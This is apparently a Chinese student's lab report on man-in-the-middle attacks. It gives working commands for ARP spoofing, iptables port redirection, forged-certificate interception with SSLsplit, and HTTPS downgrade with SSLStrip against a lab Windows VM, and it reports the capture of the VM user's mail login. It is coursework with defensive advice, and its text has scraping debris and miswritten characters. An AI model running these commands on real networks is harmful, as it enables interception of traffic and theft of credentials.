2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊

原理

中間人攻擊(Man-in-the-Middle Attack, MITM)是一種由來已久的網絡入侵手段,而且在今天仍然有着普遍的發展空間,如SMB會話劫持、DNS欺騙等攻擊都是典型的MITM攻擊。簡而言之,所謂的MITM攻擊就是經過攔截正常的網絡通訊數據,並進行數據篡改和嗅探,而通訊的雙方卻絕不知情。html

arp欺騙

  • 攻擊者能夠根據用戶與服務器之間ARP廣播包,能夠假裝成一方告訴另外一方假地址來獲取敏感信息。
  • ARP欺騙是黑客經常使用的攻擊手段之一,ARP欺騙分爲二種:
    • 對路由器ARP表的欺騙:截獲網關數據。它通知路由器一系列錯誤的內網MAC地址,並按照必定的頻率不斷進行,使真實的地址信息沒法經過更新保存在路由器中,結果路由器的全部數據只能發送給錯誤的MAC地址,形成正常PC沒法收到信息。
    • 對內網PC的網關欺騙:僞造網關。它的原理是創建假網關,讓被它欺騙的PC向假網關發數據,而不是經過正常的路由器途徑上網。在PC看來,就是上不了網了,「網絡掉線了」。
  • arpspoof參數應用
    • -i:指定網卡
    • -t:目標機IP
    • -r:kali網關地址

SSLsplit

  • 透明SSL/TLS中間人攻擊工具
  • 對客戶端假裝成服務器,對服務器假裝成普通客戶端
  • 假裝服務器須要僞造證書
  • 支持SSL/TLS加密的SMTP、POP三、FTP等通訊中間人攻擊

SSLStrip

  • 現實生活中,在瀏覽器地址欄中輸入網址時,多數用戶會採用直接輸入網址的方式,而忽略了傳輸所採用的協議。用戶經過HTTP向服務器發起HTTPS鏈接每每是經過HTTP的302重定向實現的。SSLStrip攻擊利用這一特色,在用戶端接受到跳轉信息以前經過明文HTTP協議去除掉HTTPS跳轉的過渡,從而使得原先本應被加密的信息都明文呈如今了攻擊者的面前,使得攻擊者可以自由獲取須要的信息。
  • 整個SSLStrip 過程包括以下幾個步驟:git

    1. 客戶端Client向服務器Server發起HTTP鏈接請求 
    2. 中間人MITM監聽客戶端與服務器的HTTP數據;
    3. 服務器返回給客戶端的HTTP數據包被在客戶端與服務器之間的中間人截獲。中間人解析原HTTP數據包,將HTTPS  URL改成HTTP  URL,同時記錄下所修改的URL,並保存;
    4. 中間人將修改後的HTTP數據發送給客戶端;
    5. 客戶端Client向服務器Server發起HTTP鏈接請求;
    6. 中間人計算機解析客戶端的HTTP鏈接請求,並與保存文件相比較。當發現存在有已修改過的HTTP URL時,將其替換成原HTTPS URL,併發送給服務器;
  • SSLStrip 所能達成的目標是在客戶端與服務器創建鏈接時,在MITM與Server之間造成HTTPS鏈接,而在Client與MITM之間造成HTTP鏈接。
  • 結合arp地址欺騙,無需僞造證書github

過程

  • 默認狀況下電腦是沒有路由轉發功能的,要想實現中間人攻擊,要先啓動路由echo 1 > /proc/sys/net/ipv4/ip_forward,也能夠輸sysctl -w net.ipv4.ip_forward=1
  • 接着,要對端口轉發規則進行設置。
  • 使用iptables -t nat -L查看nat表中的規則
  • 確認80端口和443端口沒被使用後設置規則
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 //HTTP iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 //HTTPS iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S

arp欺騙

  • kali:192.168.19.130
  • Win7:192.168.19.133
  • 輸入arpspoof -i eth0 -t 192.168.19.133 -r 192.168.19.2
  • 在Win7查看欺騙先後的變化

SSLsplit

  • 使用openssl建立證書私鑰:openssl genrsa -out ca.key 2048
  • 使用openssl建立證書:openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
  • 在keli建立/root/test和/root/test/logdir文件夾保存記錄。
  • 安裝sslsplit:從gitHub上下載源碼git clone https://github.com/droe/sslsplit.git /opt/sslsplit
  • 安裝還須要兩個包,使用apt-get install libssl-dev libevent-dev進行安裝
  • 進入/opt/sslsplit使用make make install進行編譯。
  • 啓動SSLsplit監聽端口sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
  • Win7訪問https鏈接,頁面顯示證書有問題,點擊查看證書,發現證書已經被替換爲剛剛生成的證書
  • 同時,kali得到Win7正在訪問的網站的證書信息
  • 攻擊者能夠截獲目標機上的會話信息,是相似wireshark的做用

sslstrip攻擊

  • 前面已經使用arpspoof將流量進行重定向
  • 使用sslstrip –l 8080監聽發往8080端口的數據
  • 測試百度網站失敗
  • 測試淘寶網站失敗
  • 啓用sslstrip前,進入126郵箱首頁,輸入「http」會自動跳轉爲「http」,啓用sslstrip後,頁面一開始會提示網絡鏈接失敗,當再次刷新的時候,頁面變爲「http」鏈接,kali街渠道用戶名和口令。

總結

中間人攻擊是較爲隱蔽的社會學攻擊,中間人攻擊會使用戶以爲可能只是網絡很差使得網頁加載緩慢或須要刷新,若是用戶沒有注意到使用的是http協議或者沒有注意到證書的問題,就可能被截取用戶名和口令。所以,在平常生活中,對一些網銀、購物、郵箱等網站要養成手動輸入https協議的習慣,多注意細節,就能儘量避免被攻擊。瀏覽器

參考資料

相關文章
相關標籤/搜索